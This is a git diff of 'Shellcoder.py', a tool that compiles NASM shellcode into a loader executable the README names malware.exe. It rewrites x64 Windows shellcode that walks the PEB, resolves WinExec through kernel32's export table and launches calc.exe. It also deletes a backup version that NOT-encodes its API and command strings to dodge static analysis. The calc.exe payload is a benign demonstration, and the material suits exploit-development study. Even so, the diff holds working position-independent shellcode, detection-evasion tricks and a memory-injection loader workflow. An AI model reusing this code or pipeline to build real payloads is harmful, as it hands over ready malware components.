diff --git a/README.md b/README.md index 88f94ec..7ab420a 100644 --- a/README.md +++ b/README.md @@ -1,21 +1,60 @@ -# Shellcoder.py +# Shellcoder.py 🐚⌨️ -Write your shellcode in Assembly and execute it with one command! +Write your shellcode in Assembly (NASM) and compile it on Windows x64 with one command! -This script helps automate the shellcode testing process. It takes an Assembly file with the shellcode (`shellcode.asm`), compiles it into machine code (NASM), generates a payload in C with that, and pastes it into the `loader.c` file. Finally, the prepared C file is compiled using MSVC. With this script you go from Assembly shellcode to executable file with one command! +This script helps automate the shellcode development and testing process. It takes your Assembly file with the payload (`shellcode.asm`) and generates a bunch of useful executable files (read below). + +You don't have to repeat all these tedious activities anymore to make your shellcode executable! Keep your focus on shellcoding 🔥🐚🔥 + +## Installation + +The following software must be installed on your system: + +- [Python 3](https://www.python.org/downloads/) +- [NASM (Netwide Assembler)](https://www.nasm.us/) +- [Visual Studio 2022](https://visualstudio.microsoft.com/) + +No Python dependencies are necessary! You are ready to go. ## Usage -Shellcoder script most probably should be used on Windows because of the MSVC requirement. - 1. Write your shellcode in `shellcode.asm` 2. Run `python shellcoder.py` -3. Execute output `.exe` file in `out/` directory! +3. Execute `out/malware.exe` file! -> **IMPORTANT**: Indicate that you are using 64-bit mode at the beginning of the assembly file. Add `[bits 64]` to the `shellcode.asm`. +![shellcoder.py command line output](/_img/shellcoder-cli.png) -## External dependencies +## Output files -- Python 3 -- NASM (Netwide Assembler) -- Visual Studio 2022 +The output files of this script are stored in `out/` directory: + +- `malware.c` - loader code with the injected payload as C string. +- `malware.exe` - compiled loader with the injected payload. +- `shellcode.exe` - executable file with the payload only. Great for debugging! +- `shellcode.bin` - raw machine code of the assembly payload. + +![shellcoder.py output files](/_img/shellcoder-output.png) + +## Caveats + +- Indicate that you are using 64-bit mode at the beginning of the assembly file. Add `[bits 64]` to the `shellcode.asm`. +- Define entry point in assembly file (required for debugging): + +```nasm +[bits 64] + +section .text: + global _start + +_start: +[...YOUR CODE HERE...] +``` + +- You cannot use sections other than `.text`. It's a shellcode! +- Remember about [Microsoft x64 Calling Convention](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention?view=msvc-170) (stack alignment + shadow space!) + +## How to debug the payload? + +The best way to debug your assembly code is to take `out/shellcode.exe` file and load it into your favorite debugger. + +Finally you should run `out/malware.exe` to be sure that your payload works as intended after memory injection. diff --git a/_img/shellcoder-cli.png b/_img/shellcoder-cli.png new file mode 100644 index 0000000..572bbf6 Binary files /dev/null and b/_img/shellcoder-cli.png differ diff --git a/_img/shellcoder-output.png b/_img/shellcoder-output.png new file mode 100644 index 0000000..9819bd7 Binary files /dev/null and b/_img/shellcoder-output.png differ diff --git a/shellcode.asm b/shellcode.asm index 2bf5514..653b538 100644 --- a/shellcode.asm +++ b/shellcode.asm @@ -1,59 +1,59 @@ [bits 64] -;; TODO: DEBUG this shiiiit (x64dbg) section .text: - global _start + global _start _start: + ; Access PEB structure xor rbx, rbx -mov rbx, gs:[0x60] ; RBX = address of PEB struct -mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA -add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList +mov rbx, gs:[0x60] ; RBX = address of PEB struct +mov rbx, [rbx+0x18] ; RBX = address of PEB_LDR_DATA +add rbx, 0x20 ; RBX = address of InMemoryOrderModuleList ; Go down the double-link list of PEB_LDR_DATA -mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll) -mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll) -mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll) +mov rbx, [rbx] ; RBX = 1st entry in InMemoryOrderModuleList (ntdll.dll) +mov rbx, [rbx] ; RBX = 2st entry in InMemoryOrderModuleList (kernelbase.dll) +mov rbx, [rbx] ; RBX = 3st entry in InMemoryOrderModuleList (kernel32.dll) ; Get VA address of kernel32.dll -mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll) -mov r8, rbx ; R8 = RBX (address of kernel32.dll) +mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll) +mov r8, rbx ; R8 = RBX (address of kernel32.dll) ; Get VA address of ExportTable (kernel32.dll) -mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset) -add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders +mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset) +add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders xor rcx, rcx -add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA) -mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA -add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable -mov r9, rbx ; R9 = &ExportTable +add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA) +mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA +add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable +mov r9, rbx ; R9 = &ExportTable ; Get VA address of ExportTable.AddressOfFunctions xor r10, r10 -mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA -add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions +mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA +add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions ; Get VA address of ExportTable.AddressOfNames xor r11, r11 -mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA -add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames +mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA +add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames ; Get VA address of ExportTable.AddressOfNameOrdinals xor r12, r12 -mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA -add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals +mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA +add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals ; Get address of WinExec function exported from kernel32.dll xor rcx, rcx -add cl, 0x7 ; RCX = function name length ("WinExec" == 7) +add cl, 7 ; RCX = function name length ("WinExec" == 7) xor rax, rax -push ax ; STACK + null terminator (2) -mov rax, 0x00636578456E6957 ; RAX = function name = "cexEniW" (WinExec) + 0x00 +push rax ; STACK + null terminator (8) +mov rax, 0x00636578456E6957 ; RAX = function name = \0 + "cexEniW" (WinExec) push rax ; STACK + function name address (8) -mov rsi, rsp ; RSI = &function_name +mov rbx, rsp ; RSI = &function_name call get_winapi_func mov r13, rax ; R13 = &WinExec @@ -64,18 +64,20 @@ mov r13, rax ; R13 = &WinExec ; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 ; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL ; ); -xor rax, rax xor rcx, rcx xor rdx, rdx -push ax ; STACK + null terminator (2) -mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe) -push rax ; STACK + command string (8) -mov rcx, rsp ; RCX = LPCSTR lpCmdLine +push rcx ; STACK + null terminator (8) +mov rcx, 0x6578652e636c6163 ; RCX = "exe.clac" (command string: calc.exe) +push rcx ; STACK + command string (8) -mov dl, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL) -; Why is here "sub rsp, 0x20" originally ??? -call r13 ; Call WinExec(rax, rdx) +mov rcx, rsp ; RCX = LPCSTR lpCmdLine +mov rdx, 0x1 ; RDX = UINT uCmdShow = 0x1 (SW_SHOWNORMAL) + +and rsp, -16 ; 16-byte Stack Alignment +sub rsp, 32 ; STACK + 32 bytes (shadow space) + +call r13 ; WinExec("calc.exe", SW_SHOWNORMAL) get_winapi_func: ; Requirements (preserved): @@ -84,7 +86,7 @@ get_winapi_func: ; R11 = &AddressOfNames (ExportTable) ; R12 = &AddressOfNameOrdinals (ExportTable) ; Parameters (preserved): - ; RSI = (char*) function_name + ; RBX = (char*) function_name ; RCX = (int) length of function_name string ; Returns: ; RAX = &function @@ -98,16 +100,13 @@ get_winapi_func: ; Loop through AddressOfNames array: ; array item = function name RVA (4 bytes) loop: - mov rcx, [rsp] ; RCX = length of function_name string xor rdi, rdi ; RDI = 0 + mov rcx, [rsp] ; RCX = length of function_name string + mov rsi, rbx ; RSI = (char*) function_name mov edi, [r11+rax*4] ; RDI = function name RVA add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll - repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name) - ; FIXME: Item NOT FOUND: RDI, RSI - ; Something's wrong with stack placing of the function name string. - ; Why is there "shr rax, 0x8" originally? WTF? - ; R11 = correct + repe cmpsb ; Compare byte *RDI (array item str) and *RSI (param function name) je resolve_func_addr ; Jump if exported function name == param function name @@ -116,7 +115,7 @@ get_winapi_func: resolve_func_addr: pop rcx ; STACK - RCX (8) = remove length of function_name string - mov ax, [r12+rax*2] ; RAX = ordinal number of function = &AddressOfNameOrdinals + (counter * 2) - mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (ordinal number * 4) + mov ax, [r12+rax*2] ; RAX = OrdinalNumber = &AddressOfNameOrdinals + (counter * 2) + mov eax, [r10+rax*4] ; RAX = function RVA = &AddressOfFunctions + (OrdinalNumber * 4) add rax, r8 ; RAX = &function = function RVA + &kernel32.dll - ret + ret \ No newline at end of file diff --git a/shellcode.asm.bak b/shellcode.asm.bak deleted file mode 100644 index d3ca1f7..0000000 --- a/shellcode.asm.bak +++ /dev/null @@ -1,98 +0,0 @@ -[bits 64] - -section .text: - global _start - -_start: -xor rdi, rdi ; RDI = 0x0 -mul rdi ; RAX&RDX =0x0 -mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB -mov rbx, [rbx+0x18] ; RBX = Address_of_LDR -mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll -mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll -mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll -mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll) -mov r8, rbx ; RBX & R8 = &kernel32.dll - -; Get kernel32.dll ExportTable Address -mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader -add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader -xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add -add cx, 0x88ff -shr rcx, 0x8 ; RCX = 0x88ff --> 0x88 -mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable -add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable - -; Get &AddressTable from Kernel32.dll ExportTable -xor r10, r10 -mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable -add r10, r8 ; R10 = &AddressTable - -; Get &NamePointerTable from Kernel32.dll ExportTable -xor r11, r11 -mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable -add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable) - -; Get &OrdinalTable from Kernel32.dll ExportTable -xor r12, r12 -mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable -add r12, r8 ; R12 = &OrdinalTable - -jmp short apis - -; Get the address of the API from the Kernel32.dll ExportTable -getapiaddr: -pop rbx ; save the return address for ret 2 caller after API address is found -pop rcx ; Get the string length counter from stack -xor rax, rax ; Setup Counter for resolving the API Address after finding the name string -mov rdx, rsp ; RDX = Address of API Name String to match on the Stack -push rcx ; push the string length counter to stack -loop: -mov rcx, [rsp] ; reset the string length counter from the stack -xor rdi,rdi ; Clear RDI for setting up string name retrieval -mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)] -add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll -mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string) -repe cmpsb ; Compare strings at RDI & RSI -je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API -incloop: -inc rax -jmp short loop - -; Find the address of GetProcAddress by using the last value of the Counter -resolveaddr: -pop rcx ; remove string length counter from top of stack -mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32. -mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber] -add rax, r8 ; RAX = Kernel32. = RVA kernel32. + kernel32.dll BaseAddress -push rbx ; place the return address from the api string call back on the top of the stack -ret ; return to API caller - -apis: ; API Names to resolve addresses -; WinExec | String length : 7 -xor rcx, rcx -add cl, 0x7 ; String length for compare string -mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec -not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis -shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll -push rax -push rcx ; push the string length counter to stack -call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable -mov r14, rax ; R14 = Kernel32.WinExec Address - -; UINT WinExec( -; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0 -; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL -; ); -xor rcx, rcx -mul rcx ; RAX & RDX & RCX = 0x0 -; calc.exe | String length : 8 -push rax ; Null terminate string on stack -mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe" -not rax -;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163 -push rax ; RSP = "calc.exe",0x0 -mov rcx, rsp ; RCX = "calc.exe",0x0 -inc rdx ; RDX = 0x1 = SW_SHOWNORMAL -sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA) -call r14 ; Call WinExec("calc.exe", SW_HIDE) \ No newline at end of file diff --git a/shellcoder.py b/shellcoder.py index f50f9e9..a4653dd 100644 --- a/shellcoder.py +++ b/shellcoder.py @@ -50,7 +50,7 @@ def get_msvc_console_environs() -> dict[str, str]: print(f"[!] MSVC Developer Console error: {process.stderr}") sys.exit(-1) - envs = {} + envs: dict[str, str] = {} for line in process.stdout.splitlines(): if '=' in line: key, value = line.split('=', 1)